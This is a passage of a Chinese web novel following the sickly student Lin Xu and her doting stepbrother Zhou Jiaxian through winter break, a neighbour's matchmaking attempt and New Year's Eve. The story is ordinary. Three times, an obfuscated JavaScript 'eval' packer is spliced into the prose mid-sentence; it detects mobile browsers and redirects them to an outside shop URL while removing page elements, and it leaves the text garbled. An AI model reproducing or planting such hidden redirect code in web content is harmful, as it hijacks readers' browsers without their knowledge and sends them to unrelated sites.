林絮点了点头，微眯着眼睛一边小声道：“是陈恕哥生病了吗？” “不是，是期期。”周嘉先说了一声。 期期？？ 林絮顿时精神了，立刻坐直了起来，“期期姐回来了？她什么时候回的京照啊，我听你们说过这么多年她都一直没消息的啊！陈恕哥等了她得有十年了吧？” 周嘉先看着林絮眼神无语片刻，“大人的事，小孩子不要操心。打听那么多干嘛？” 林絮气急，“我才不是小孩子呢，哥你也就比我大五岁而已，怎么我在你眼里就还是小孩子！刚才还说我嫁人的事，现在又说我小孩子！你糊涂了吧？” “是……”周嘉先拉长了语音，不甚走心地附和了一句，“哥糊涂了。” 总算回到家了，林絮放开拽着周嘉先的手臂，靠着墙等着她哥开门。一进门她就急忙忙地去房间拿了睡衣跑进卫生间洗澡，洗完澡出来之后她贴了个暖宝宝在腰后，这才感觉整个人又舒服了很多。 她哥周嘉先送她的玫瑰花还竖着放在桌面上，林絮走过去抱起花束，拿起手机自拍了好几张，又专门p了一张好看的发到了微信朋友圈上，且故意不配文字。 几分钟过去后，她看着那条微信朋友圈下方一遛烟的祝福她脱单的评论偷偷开心了好一会儿，她也不解释，任由别人误会着，反正她哥根本没有她同学的微信，所以看不到她们祝福她脱单的评论。 舍友群里，朱玲玲、魏桔、陈瑶轮流拍着她的微信头像……信息轰炸过来，【说说，怎么回事啊？那花到底谁送的？】 【怎么静悄悄地脱单了？什么时候带我们见见你男朋友？】 【不是，你们怎么都信了啊，你们是觉得林絮回家路上和人一见钟情了，立刻谈上恋爱了不成？我不信，林絮就不是那种一见钟情的挂，她得日久生情！】 …… 静静翻着消息的林絮：…… 她笑了笑，陈瑶说得真对，她的心墙估计比长城的城墙还厚，一见钟情不适合她。她指尖在屏幕上按了几下，回复道：“别猜了，是我哥送我的。怎么样，好看吧？” 微信朋友圈上显示了一个红点，林絮下意识点进去，发现是她哥给她的照片点了个赞。 她立刻点开她哥的聊天界面，发过去道，“哥，我的照片好看吗？” 正等着她哥的回复呢，她房间的卧室门被敲响了，林絮立刻从床上跳起来小跑过去开了门，眼神亮晶晶的，“哥……” 她没注意到每次喊哥的时候，她的尾调总是上扬着的，周嘉先也习惯了她充满依赖，朝自己跑过来的样子。 周嘉先笑得眉眼弯弯，温润柔和，他夸道：“唔……哥过来是想说你的照片拍得很好看……” 林絮嘴角盛开笑容，然而下一刻她的视线往下移，落在她哥手上的温水杯和药瓶上，盛开的笑容顿时一收，她抿了抿唇，也不敢说不吃药，只是摆出了不配合不合作的神情。 周嘉先也不在意，哪天她要是在他面前不用哄、立刻吃了药，他才要惊讶呢！ 林絮坐在床边，双脚垂落踩在地毯上，头微微垂着，周嘉先走过去，将温水和药瓶放在了床头柜上，又坐在她的身边，柔声道：“眼睛一闭，咽下去就好了，要是实在难受，哥给你抱抱好吗？我们忍一忍。” 林絮闻言，侧了下身子，埋头双臂直接环抱住她哥的腰，头轻轻撞了撞他的胸口，“哥！” 周嘉先笑了笑，轻轻拍着她的背部， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235660|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声诱哄道：“我们小絮是乖孩子，对吗？” “知道了……”林絮抿了下唇，深深嗅了一下他身上让人安心的味道才抬起头来，“吃就吃。” 周嘉先立刻伸手将水杯和药瓶拿了过来，他倒出药放在手心上，凑过去她嘴边，林絮低头凑过去，舌头卷起药片，再接过他温水直接吞服了下去。 生理性地干呕开始发作，周嘉先见她眼眶都慢慢变红了，立刻将人揽在怀里，轻轻帮她顺着气，“没事了，没事了，一会儿就好了啊……” “哥……”林絮轻声呜咽着。 “嗯，哥在呢，很快就好了啊！” “哥……” “不难受了啊，不难受了……”周嘉先哄道。 夜色昏沉，窗外凛冽的冷风呼呼吹着，室内的暖色灯光柔和，催得人昏昏欲睡，特别是刚吃完药的林絮就靠在周嘉先的怀里慢慢睡着了。 周嘉先听着她清浅的呼吸声越来越规律，身体的重量慢慢全部靠在了他的身上，便知道她是睡着了。 橘黄色的灯光中，他轻轻叹了一口气，目光落在了那束火红鲜艳的玫瑰花上，她向来喜欢鲜艳生动的色彩。 周嘉先轻轻扶着林絮，让她躺在床上，又把被子给她盖好。 他垂眸望着白着一张小脸的妹妹小絮，许是刚刚生理性地干呕使得她眼眶溢出了泪水，现在泪痕还挂在她的脸上，眼睫毛上湿润着，看起来就像是受了什么委屈一样，在梦中也难受着一般。 夜色静悄悄的，周嘉先坐在她的床边伸出手，指尖轻轻触碰了她轻薄的眼皮，顺势抹去她眼角的湿润。 一本被翻得有些破旧的《红楼梦》就放在床头柜柜子里，柜子抽屉没有关紧，周嘉先一垂眸就看见了。他眼眸一颤，过往的回忆倒带，铺天盖地地向他袭来。 …… “哥哥，你能不能给我讲讲《红楼梦》的故事啊？”刚上小学一年级的林絮眨巴着眼睛望着他。 彼时的他虽然也在课本上学过几个《红楼梦》的片段，但到底没有整本读完，因此某一天放学后他用攒起来的零花钱买了一整套的《红楼梦》。 大概是从小他就早熟、显得非常可靠的原因，他爸林浩很快就放心将妹妹小絮交给他照顾，他们夫妻俩去上夜班。 那时候家里就只有他和妹妹小絮，很长很长的一段时间，每天晚上他都坐在她的床边给她讲着《红楼梦》的故事，刚上一年级的她才堪堪认识了一小部分的字而已，都是他在看，他再讲给她听。 《红楼梦》讲完了，他也即将小学毕业，他还记得那一天，他讲完了整个完整的故事后，她说了那句话。 【哥，我们班的同学说我像林黛玉一样，是在说我和林黛玉一样会很早就死掉吗？】 当时的他满脸愕然，完全无法想象她到底是怀着什么样的心情听着他讲《红楼梦》的，如今的他想起这件事来，依旧满心懊恼，感觉心脏一抽一抽地疼痛着。 鬼使神差下，周嘉先微微俯下身子，耳朵竖起，隔着被子凝神听着，当听到她规律性的心跳声时，他提着的那口气终于缓缓呼出。 他伸手将她睡得微乱的发丝掖好，小絮，年年岁岁都要平安顺遂啊！哥别无他求了。 15. 第 15 章 - 翌日，寒假放假的第一天。 林絮醒过来的时候，周嘉先已经去上班了，她揉着眼睛站在房门口时看见对面的房间门开着却没有人。 “哥……”林絮下意识喊了一声。 刚值完夜班的林浩闻声从厨房里走出来，“小絮你醒了？快去洗漱吧，可以吃早饭了。” “哦，爸，我哥呢？”林絮又问。 林浩抿了下唇看她，“你哥上班去了啊。” 林絮闻言，伸手拍了拍额心，她真是睡懵了，“我去洗漱了……” 饭桌上，林浩、柳垂影都稍显疲倦，医院值夜班虽然有时候不忙也是可以眯一会儿的，但到底不敢睡得深沉，早上八点值白班的医生过来交接，他们夫妻俩也就下班回来了。 早餐是周嘉先煮好，放在锅里温着的，林浩、柳垂影下了夜班就能直接吃上早饭，倒也不用再费心去煮了。 “把温水喝了，你哥倒好的。”林浩将桌上的水杯挪到林絮面前。 “哦……” 林浩、柳垂影三两口就吃完了早餐，柳垂影已经累得不行，没说什么就直接回房间休息了。 林浩边洗着碗，边和坐在餐椅上刷手机的林絮讲着话，“小絮，寒假你有什么打算，总不能一整个寒假都呆在家里吧？出去找朋友玩玩，还是找份工作打发打发时间？” 林絮闻言，眼神沉静了片刻，她的大学舍友们虽然都是本地人，但是在寒假到来之前都已经找到了一份专业对口的实习工作，所以她们基本上是没时间和她玩的，高中初中的同学……她已经很少和别人联系了。 找工作……以她这副身体能找到什么工作？人家都避之不及，生怕担责任。 “不知道，朋友没空，公司不招我这样的。”林絮微微垂下眸。 林浩洗碗的动作都僵了片刻，好半响才试探着问道：“要不，你去你哥那儿打发打发时间？” “不去。” 这个话题她不想再说下去了，便起身走到阳台那儿打算透透气，阳台上晾晒着她昨天从学校拿回来的床上用品，是她哥放洗衣机里洗了晾的吧…… 今日天晴，阳台的窗户打开了，窗外微冷的风不像往日一样呼呼吹着，空气泠冽而清新，挂着的被单床单随风飘动着。 林絮余光一瞥，一件浅粉色的、属于她的小内裤映入眼底，她心脏跳了一下。她自己的内衣内裤都是手洗了，晾在她阳台角落处经常晒得到太阳的位置，眼前这个和床单、被单晾在一起的浅粉色小内裤绝对不是她洗的、晾的。 她迅速回头，冲厨房喊了一声，“爸，我的床单什么是你晾的吗？” 林浩刚好洗完碗走出来，奇怪地看了她一眼，“不是啊，是你哥晾的，怎么了？” 林絮捂住脸，“没事没事。”滚烫的热意席卷而上她的脸颊，肯定是不小心夹在被单里面了，他哥晾的时候肯定看到了…… 一想到她哥修长的手指拎着她的小内裤时，她头脑发热，羞涩得不行，抬脚就往房间里冲，爬到床上将头钻进被子里。 她不想见人了！啊！！！！！！！ …… 林絮在房间床上扭曲了好半响才从被子里钻出来，顶着一头凌乱的头发发着愣，眼神生无可恋一般。算了……假装不知道吧，下次真得注意一点了！ 刚放假，她是真的没事做，外面虽然天是晴的，但京照处于中部偏北的地区，冬天气温低到零下也是有的。 林絮在家里找了个花瓶，将黑巴克玫瑰花挑出来放在了花瓶里，又将包装纸扔到垃圾桶里。 把花瓶放在房间的斗柜上，她打开平板电脑找了部剧看，之后吃了睡，又睡了吃，很快就到了晚上他哥下班的时间点。 厨房内老旧的油烟机嗡嗡嗡地响着，林絮见时间点快到了，立刻将平板电脑关上，走出房间坐在了客厅靠近玄关的单人沙发上假意刷着手机玩。 林絮竖起耳朵，听到门外响起了熟悉的脚步声，她眼眸一亮，下意识将手机丢在沙发上，光着脚就跑过去开门。 “哥！你回来啦？” 门一打开，楼道内的冷气瞬间扑面而来，在家里只穿着薄款家居服的林絮下意识瑟缩了一下。 周嘉先嘴角的笑意滞了片刻，他皱起眉头，赶紧进了门，将房门关上。他正要换鞋，垂眸见她光着脚踩在地板上，脚背上的青色血管清晰可见，“怎么连鞋都没穿？下次不用过来开门了，哥有带钥匙……” “我在家里啊，拿钥匙多麻烦。”林絮笑嘻嘻道。 周嘉先摸了摸她的发顶，“不麻烦，外面太冷了，家里又开着暖气，冷热交替你很容易着凉的。” “哦……”林絮眼眸一转，光着脚踩在她哥穿着棉鞋的脚上，手抓着对方的手臂，笑着道，“地板太冷了，哥你带我走过去沙发那边。” 周嘉先：…… 他垂眸望着仰头看着他的妹妹，妥协了，公文包随手放在玄关的鞋柜上，他手臂一捞揽着她的腰间，“我先抬左脚……” “哦！好的好的。”林絮眉眼弯弯。 周嘉先左脚动了动，没抬起来，他低头：“我的左脚是你的右脚。” “哦，对！”由于两人是面对面着，所以周嘉先一说，林絮才反应了过来，他们的方向是相反的。 左左右右，左左右右…… 周嘉先将林絮带到了沙发前，林絮笑着一屁股坐在沙发上，从厨房里端着菜走出来的林浩见状，拧着眉头训斥了她一句，“都这么大个人了，还和你哥闹着玩，你哥刚下班回来，你在家赖了一天，别闹你哥了。” 林絮闻言，撇了撇嘴，沉默着坐在沙发上。 周嘉先轻轻拍了拍她的头顶，以示安抚，转头又朝林浩道：“爸，没那么严重，我上班也不累，小絮在家可能无聊了。” “你就惯着她吧。”林浩无奈道。 一旁的柳垂影笑了笑，“他们兄妹感情好，玩玩闹闹都是小事。” 厨房里锅里的水咕咚咕咚地冒着，林浩、柳垂影说了几句后又急急地钻进厨房继续炒菜做饭。 周嘉先撇了厨房一眼后微微弯下腰，领带垂落在林絮眼前晃荡着，林絮下意识抬眸伸手扯住他的领带，“哥……” “在家很无聊吗？”周嘉先道。 “嗯……还好吧……”林絮揉了揉有些发酸的眼睛，她今天看了一天的剧。 周嘉先将她松开手的领带解开，随手放在茶几上。林浩、柳垂影已经炒好了菜，喊着让他们两人洗手吃饭。 饭桌上，林浩看着对面的林絮，犹豫片刻还是道：“嘉先啊，你公司里缺不缺人，要不让小絮去你公司里找点事情做？” “爸！”林絮不乐意地喊了一声。 柳垂影也道：“寒假虽然也不长，但总归一直在家里闷着也不好，小絮要多出去透透气，多和其他人接触接触。” “阿姨……”林絮抿了抿唇。 周嘉先目光在他爸妈脸上掠过，又看向低垂着头的林絮，他笑了笑，“这件事我等会儿和小絮商量商量。先吃饭吧……” 林浩、柳垂影互相看了一眼，也只能点点头同意先吃饭，让他们兄妹俩自己商量。 嘉先从小就早熟，一副小大人的模样，大学毕业之后和朋友创办了金颂律师事务所之后，有了独立可观的收入来源，更是变得更加可靠沉稳，所以父母的意见对他来说，他只会斟酌着自己判断，旁人已经干涉不了他的决定了，即使他们是他的父母。 饭后，林浩和柳垂影便接着去上班了，最近一周他们夫妻俩值的都是夜班。因为同个科室另外一对医生夫妻家里有老人家生病了，晚上身边需要人照顾，所以他们和林浩、柳垂影换了班。 值夜班是非常辛苦的活，林浩、柳垂影之所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245633|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以没拒绝换班是因为前一阵子林奶奶生病住院了，也是对方照顾他们，给他们换着值白班的。 他们科室的氛围不错，谁家家里有个难的，都是相互能帮就帮的。 家里只剩下林絮和周嘉先，老旧的厨房洗碗池建得比较矮，周嘉先一米八三的个子弯着腰洗碗洗得腰都酸了。 水龙头水流哗哗冲着，林絮踮着脚尖走过去，悄悄出现在周嘉先的身边，“哥……” 周嘉先手一顿，侧眸瞥了她一眼又收回视线继续洗着碗，边道：“怎么了？”洗碗池的位置很小，她偏偏要过来挤着他。 “哥……”林絮接着喊道，双手环抱着他的手臂，眨巴眨巴着眼睛看他。 周嘉先：…… “你等会儿，哥洗完碗再和你说。” “好吧……”林絮见撒娇不成，掉头就走。 周嘉先又气又觉得好笑，等他洗完碗的时候发现她站在阳台上透气吹风，窗外星星点点的灯光组成了万家灯火，身型纤细的她仿佛渺小得风一吹就能散。 他拧了下眉心，将刚才他随手扔在沙发上黑色呢子外套拎在手上，走过去将外套披在她的肩上，颇为苦口婆心道，“小絮，出来阳台要穿个外套，外面冷。” “哥……我可以不去你公司吗？”林絮攥着外套防止外套从肩上滑下去。 周嘉先笑了笑，手肘架在阳台的护栏上，“能和哥说说为什么不去吗？” “就是不想去。”林絮抿着唇，只有在家里她才能感受到他独属于她一个人，在外面在公司，有很多很多其他的事情夺去他的注意力，她不想傻傻地站在一旁，看着他游刃有余地处理着事情，而她却格格不入。 周嘉先沉默了片刻，“没事，不想去就不去，爸妈也是担心你在家闷坏了，从小你就不爱出去外面。” 虽然他能理解父母的想法，但……总归不能用打着为她好的名头就将想法强加在她身上，什么事情都没有她自己的想法和感受重要。 另外，公司里虽然确实缺个人，但缺的是前台。其一，她学的又是大气科学专业，根本挂不上钩，其二，公司里有客户来的时候，前台也需要帮忙倒茶端水，他也不愿意她去公司里做这些事。在家里的时候他就不愿意她沾手。 “这件事我会和爸妈说的，你放心吧，想在家呆着就呆着，要是想出去玩了，提前和哥说，哥看看能不能空出时间带你兜兜风。” 林絮闻言，攥住了手心的呢子外套，眼眶微微发红。 这世界上从来只有她哥会认认真真地考虑到她的感受，她就想呆在她觉得安心、舒适的地方，她不喜欢变化，不喜欢新事物。 “谢谢哥……”林絮松开攥着外套的指尖，走过去双手抱住了他的胳膊，她抬头深深地盯着他看。 周嘉先拍了拍她的发顶，神情随意温和，“都是小事，不用这么说。” …… 睡前，周嘉先照例端了温水、拿了药过来，林絮就着他的手很快就吃了药，生理性的干呕也被她极力地压了回去。 周嘉先掖了掖她的被子，正准备起身离开时，她拉住了他的手腕。 “哥……我这样是不是不好，不落落大方，矫情又多事，哥……你是不是会喜欢干练利落的女人？” 闻言，周嘉先停住脚步，虽然不理解前后两句话怎么就连在一起讲了，但他还是笑着，耐心道：“没有不好，你觉得你不落落大方，矫情又多事，可在哥看来这都不是事，甚至哥也并不觉得……” 他忍不住笑出声来，调侃道，“啊，说不定是哥给你折腾着折腾习惯了。好啦……别想那么多，快睡吧。” “等等……”林絮再次抓住他的手腕，“你还没回答我第二个问题呢？” “唔……干练利落的女人啊，我喜不喜欢这种类型暂时不清楚，但这种女性我倒是挺敬佩的。” …… 16. 第 16 章 - “如何成为一个干练利落的女人”，林絮纠结了十多天，最终还是无解，她根本就不可能成为那样令她哥敬佩的女人。 这十几天里，周嘉先抽出了两天时间陪林絮去附近的城市玩了玩。 很快就到了年末，京照市各个行业、公司都开始放假，医院倒是要接着轮班，所以家里过年走亲戚需要备的年货交给了周嘉先和林絮两兄妹。 时值年关，超市热闹拥挤嘈杂，购物车几乎是挤在商品的过道上，像极了路上堵车一样。周嘉先推着购物车一边走，一边逛着年货，林絮被他揽过来安置在他身侧。 时不时有看年货看着看着不看路的人推着购物车碰过来，周嘉先拧了下眉头，他的双臂搭在购物车推车把手上，将人圈在购物车和他的手臂之间。 哥…… 林絮微微抬眸，偷偷望着近在咫尺的她哥，她现在的姿势相当于被他圈在了怀里，她忍不住心生窃喜，忍不住想要和他再亲近一点，再亲近一点。 周嘉先望着一整排的洗手液，发现有一种香味种类是家里没有的，便笑着低头问道：“小絮，小苍兰香的洗手液买不买？” 林絮闻声下意识抬头，目之所及是他带着温润笑意的眼眸，他嘴角微微扬起，漆黑的眼眸中倒映着她的面容。 “哥……”她低声喃喃道，仿佛只是在喉咙里发出一声细若游丝的低语。 身处喧嚣的超市里，耳边人声鼎沸，周嘉先准确地捕捉到她细微的声音，“怎么了，不舒服吗？”他伸手顺了顺她耳边微乱的发丝。 林絮下意识握住她哥顺着她发丝的手腕，周嘉先垂眸看她，仿佛又在问怎么了…… “没、没事。买吧，家里没小苍兰的味道，我试试。”她松开手，撇开视线，转移话题道。 …… 不远处，金颂律所相约着出来逛商场的两个女同事扒着货物架看得目瞪口呆、惊讶不已。 “周律师居然是有女朋友的耶？我平时没见有其他客户、律师之外的女性来我们公司找周律师，所以一直以为他没有女朋友呢！” “哎，不过……其实这还是蛮合理的嘛，周律师又优秀又温柔的，有女朋友也正常。” “也是……我刚刚看见了，周律师女朋友好漂亮啊，好精致啊，周律师那个粘人劲平日里还真看不出来，逛街都得把女朋友塞在怀里的样子。” “是哦，周律师平日里那么稳重，我还以为他会喜欢那种势均力敌的女人呢！” …… 她们的议论，周嘉先、林絮都没听见，两人逛了一会儿、将走亲戚需要的年货买齐之后便立刻回了家。 家里的大扫除几天前就解决了，周嘉先雇了两个专门清理的家政人员将家里里里外外都打扫干净了。 上午购买年货，下午周嘉先和林絮就准备贴对联、贴福字。 林絮侧着脸趴着睡在床上睡得一脸香，周嘉先敲了两下门都没听见声响，他皱起眉头拧开房门走了进去，卧室内安安静静，空气中飘着一股幽幽的兰花香氛味。 “醒醒…小絮，快四点了，再睡晚上要睡不着了。”周嘉先曲起指骨轻轻敲了敲她的额头，小声道。 “唔……不起，哥……我困。”林絮抱着被子换了个方向，蒙头就睡。 周嘉先见她这副耍赖的样子顿时低声笑了出来，他伸手扯了扯她盖在脸上的棉被，让她的脸露出来透气，“明天就除夕夜了，我们现在要把对联和福字贴上去，这么有意义的事，你不想和哥一起做吗？” 林絮闭着的眼帘颤了颤，她睁开眼，眼巴巴地望着周嘉先，周嘉先笑着看着她，“给哥帮帮忙，好吗？” “那……那好吧。” 林絮坐直起身，掀开被子，室内开着暖气，她也就穿着一件单薄的棉质家居服，此刻从床上起身，她的家居服领口松松散散的。 由于身高优势，衣领下白皙的半浑圆一下子落入周嘉先的眼中，他反射性地撇开视线，抿了下唇，“把外套穿上，我们还要去门口还有楼道那里贴春联。” “哦，好。”林絮套了件中长款的浅蓝色毛绒睡衣外套。 周嘉先这才转过头来，见她穿得严严实实了，心里松了一口气的同时他忽然意识到妹妹真的长大了，但她好像没有自己已经长大了的觉悟啊，对他还是这么不设防。 他也就罢了，他是她哥，自然不可能有什么歪心思，但若是其他的男人……周嘉先忽然觉得有些忧愁。 - 整个小区到处显得热闹非凡，因为是老小区，这里的住户都住了好几十年，所以小区里大家几乎都是认识的。 周嘉先先贴了家里三间卧室门口的对联，林絮将福字倒着贴在三扇门上，客厅、厨房、阳台，还有窗户全都贴着红色的“福”字。 家里搞好后，两人又走出家门口，给正门贴对联。 同一层楼里有三家住户，周嘉先、林絮正贴着对联时，隔壁的张阿姨忽然打开房门，也拿着对联准备张贴。 张阿姨一见周嘉先，忽然眼神一亮。 哎，她怎么就没想到呢，周嘉先多好的孩子啊，之前她还听说他和朋友一起成立了一个公司，想来应该混得不错，楼下那辆车听她闺女说也要40多万……她闺女晓晓和周嘉先年纪也差不多…… 这么想着，张阿姨笑了笑，开口寒暄道：“嘉先啊，贴对联呢……你爸妈呢？” “啊，是，我爸妈今天刚好轮到值班。”周嘉先笑着道。 张阿姨闻言，心中打算着，隔壁两口子夫妻人也好相处，还都是医生，以后有退休金的，也用不着周嘉先来养，就是他们现在比较忙，以后她闺女要生了孩子，反正她也没事，家里住得这么近，她来带就行。 她越想越觉得周嘉先配她闺女晓晓是绝配，两家人知根知底的，多好啊！也不用她费心托朋友给她闺女找了！ “哦是是是，医院就是什么时候都缺不得人，你放假了是吧？我家晓晓也放假了，小时候你们都一起玩呢，要不要进来坐坐啊？”张阿姨十分热情道。 被忽略的林絮抿起了唇：…… 她伸手拽了拽周嘉先的胳膊，周嘉先按住她摇晃着他胳膊的手，朝张阿姨笑了笑，“先不了吧，张阿姨，明天就除夕了，家里还有东西没准备好。” 这时，张晓一脸狐疑地磕着瓜子从家里走出来，喊道：“妈，你跟谁说……”话呢？ 周、周嘉先！！！ 张晓顿时卡壳了，愣在原地，想起当年的事尴尬得不行，张阿姨看见闺女走出来，一下子笑了起来，“哎，晓晓啊……刚好放假了，你有空……” 张晓目光落在了保持着礼貌性微笑的周嘉先脸上一瞬，她像被刺到一样，立刻转移了视线看向一旁满脸不愉快的林絮脸上。 “妈、妈妈妈……我没空，你煮的饭要糊了……”张晓拽着她妈赶紧往家里扯，她一边朝周嘉先点点头，眼里的意思是我们着很忙，有事不说了。 “哎……” 砰——房门关上了。 张晓这才松了一口气，放开拽着她妈的手，气急道：“妈，你干嘛呢？” “什么干嘛？我才要问你干嘛呢，我话都还没说完。”张阿姨一脸责怪地看着女儿，片刻后她忽然神秘兮兮道：“闺女，你看隔壁嘉先怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257999|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样？你这不是年龄也不小了嘛，他条件还不错，自己开公司，还有辆40多万的车，和我们家也住得近，知根知底的，你要是嫌弃这房子太旧了，我估计他们家要拿钱买婚房也拿得出来……” “妈，你说什么呢？人家和我就不是一个档次的。”张晓尴尬得不行，她妈不知道，她可知道呢，金颂律师事务现在在律师圈里特别有名。 “怎么会？闺女你也不差啊，大学是一本，我们又是邻居，怎么就不是一个档次了。妈看着你们就合适。” “我是一本，他是华大的啊，顶尖学府！妈……你别想太多了，先不说这些，就说……就说……”张晓有点难以启齿，但为了打消她妈的想法，她还是道：“就说我以前初中的时候就欺负过她妹妹林絮啊……” “那你那会儿不是还小吗？不懂事！再说了又不是亲妹，谁还记得这事啊！” 张晓见她妈一副理直气壮的模样，顿时一噎，她其实真的差点就被她妈给惯坏了，“总之不可能的，妈你死心吧。” 她完全不认为周嘉先会忘记当年她欺负林絮的事，那会儿要不是她跑得快，加上林絮在哭，他当时脸阴沉沉的，手都举起来了，肯定是要揍她，后来她又在放学的路上被周嘉先堵过一次，警告了好些话，吓得她连续好几天睡不着觉。 当年他见她一副胆战心惊的模样，好像满意了，这之后再遇见她就好像这事过去了，也会礼貌地朝她微笑，但她就是害怕得不行。 “这么挑，这也看不上那也看不上的……” 张晓才不管她妈的絮絮叨叨，又半躺回沙发上继续磕瓜子看电视去了…… 另一边—— 林絮尤其不开心，特别是知道了张晓她妈想撮合张晓和她哥的意思，然后再看见张晓的时候，她抿着唇将最后一个福字帖在了自家这边的墙上，原本是准备贴到他们家和隔壁家张家之间的墙上的。 她用力踩着地板走进了家里，坐在沙发上拿起手机就开始刷视频。 周嘉先跟在她的身后，见状憋着笑，手掌撑在沙发的靠背上，故意问道：“啊，这是怎么了？” 林絮抬头瞪他，“你是不是忘记以前她欺负——我了……”说着最后她气得都带上了哭腔。 周嘉先扶额，心道：不好，把人逗哭了。他正了正脸色，半蹲下身子看着她红红的眼眶道：“没忘没忘，哥怎么可能忘记呢！” “那你还一副乐意听张阿姨说话的样子，你听不出来她想撮合你和张晓吗？”林絮瞪着眼睛，继续道：“我就知道，你准备见色忘妹，你要真是找了个讨厌我的，她一进门我就得滚蛋是不是？” 林絮越说越激动，周嘉先“啧”了一声，“胡说什么呢，越说越离谱。” “你还凶我！”林絮控诉了一声，转过身背对着周嘉先。 周嘉先眼中闪过苦恼，啊，这可真是……他想了想，双手搭在她的肩膀上强硬地将人扭转了过来，林絮惊愕地望着他。 周嘉先预感到她就要发脾气了，立刻先道：“你都知道张阿姨一向喜欢自说自话的，我只是不喜欢和她在门口掰扯，你没听见我拒绝她的邀请了吗？再说了……我都知道张晓以前欺负你，怎么会和她在一起呢，你就这么想哥的吗？” “好了，小絮，不生气了好吗？”他微微弯下腰眉眼弯弯地低声哄道。 林絮望着他近在咫尺的面容，难受得心酸，瓮声瓮气道：“那哥你以后的对象要是讨厌我怎么办？” 周嘉先忍俊不禁，拍了拍她的发顶，“别胡思乱想的，我现在连对象都没有呢，你现在就开始假设我对象讨厌你，可别再生气了啊，我觉得很冤呐……” 17. 第 17 章 - 除夕夜，窗外万家灯火璀璨，闪耀绚烂的烟花时不时在夜空中炸响……烟花的余晖从夜空中垂落，滑下绵长的白雾。 客厅里电视正播放着春晚小品，观众搞笑的应和声时不时响起，橘黄色的暖灯光下，林浩、柳垂影、林絮、周嘉先举杯相碰：“除夕快乐——” 七点多，一家人已经吃完了年夜饭，正围坐在客厅里看着春晚。林絮靠在周嘉先的身上，时不时低头刷着手机，和舍友们道着新年祝福。 林浩瞥了她一眼，拧眉道：“小絮，怎么老是在看手机？也不和我们多聊聊……” 林絮闻言，将手机反扣住，解释道：“就是和舍友聊聊而已……” 其实她并不知道要和父母聊什么，他们总是工作忙工作忙，特别是她哥展现出完全能够照顾她的能力之后，她爸就更加放心了。 有时候她甚至都会偷偷想，她爸是不是不太想看见她，因为看见她就会想起那些年他的疲惫。她知道她爸林浩爱她，但爱不代表不会疲倦的。 便是知道年幼的自己给林浩造成了苦难和困扰，所以她有时候想起来也很内疚。 柳垂影笑着道，“没事，年轻人和我们有什么好聊的，在家里呆着也无聊，你们兄妹俩要不就出去街上逛逛，应该挺热闹的。” 周嘉先笑道：“爸妈也一起去吧？” 柳垂影摇了摇头，“我们就不去了，昨天值班，难得今天可以休息，我和你爸只想在家里躺着。” “那好吧……” * 林絮哒哒哒、欢快地跑回房间将新买的过年战袍换上，又用十几分钟的时间撸了个淡妆，看着镜子里气色红润的样子，她满意地笑了笑。 “哥，我好了……我们出发吧。” 周嘉先笑着道：“小絮今天很漂亮……”为了不弄歪她戴好的贝雷帽，他克制住了想揉她头顶的冲动。 林絮听着，眼眸弯弯地笑了起来，这个妆容是她前阵子学的，既像素颜又像有点小心机，能放大她脸部的优点，掩盖住脸色苍白的缺点。 精心打扮被夸奖，林絮觉得不枉她学了那么久。 “爸妈，我们出门了……”周嘉先打了声招呼。 从室内出来，气温一下子骤降，林絮下意识抖了抖，周嘉先微微向前一步走在她的斜前方为她挡住了这个朝向的冷风。 小区楼下，好几个孩子在燃放着迷你版的仙女棒，前几年的春节因为烟花燃放造成了火灾，因此今年很多小区物业都禁止在小区里燃放大型烟花筒。 “这边……我们开车出去。”周嘉先伸手搭在她的肩膀上。 林絮：？？？ “不是说在这附近走走、散散步吗？” 周嘉先伸手拉着她的手臂，边走边问：“那你想去市中心玩吗？我听说那边会有政府管控的烟花秀、音乐喷泉……” “想去！”林絮打断周嘉先的话立刻道。 周嘉先忍俊不禁，一边打开了后备箱，道：“你看看这是什么？” 林絮瞪大眼睛，望着后备箱里的烟花筒，惊讶道：“哥，你什么时候买了这些烟花筒啊？我们要去放烟花吗？” “对，我们先去放烟花。” 春节放烟花历来是怎么禁都很难完全禁止的，所以“堵不如疏”，政府划出了一条沿河大道的岸边作为官方允许燃放烟花地。 林絮系上安全带，双眸闪烁着喜悦、期待的光芒，看烟花和亲手点燃烟花应该是完全不一样的感受吧？ 周嘉先笑着看了她一眼，踩下油门，“都化了妆出来了，怎么能只在家附近走走呢，那不是浪费了吗？” 林絮惊讶地看向他，“哥，你居然懂？” 周嘉先笑着解释道，“啊，我也是偶尔听到律所里的女同事说过几句……嗯，感觉也很好理解，确实不能浪费。” 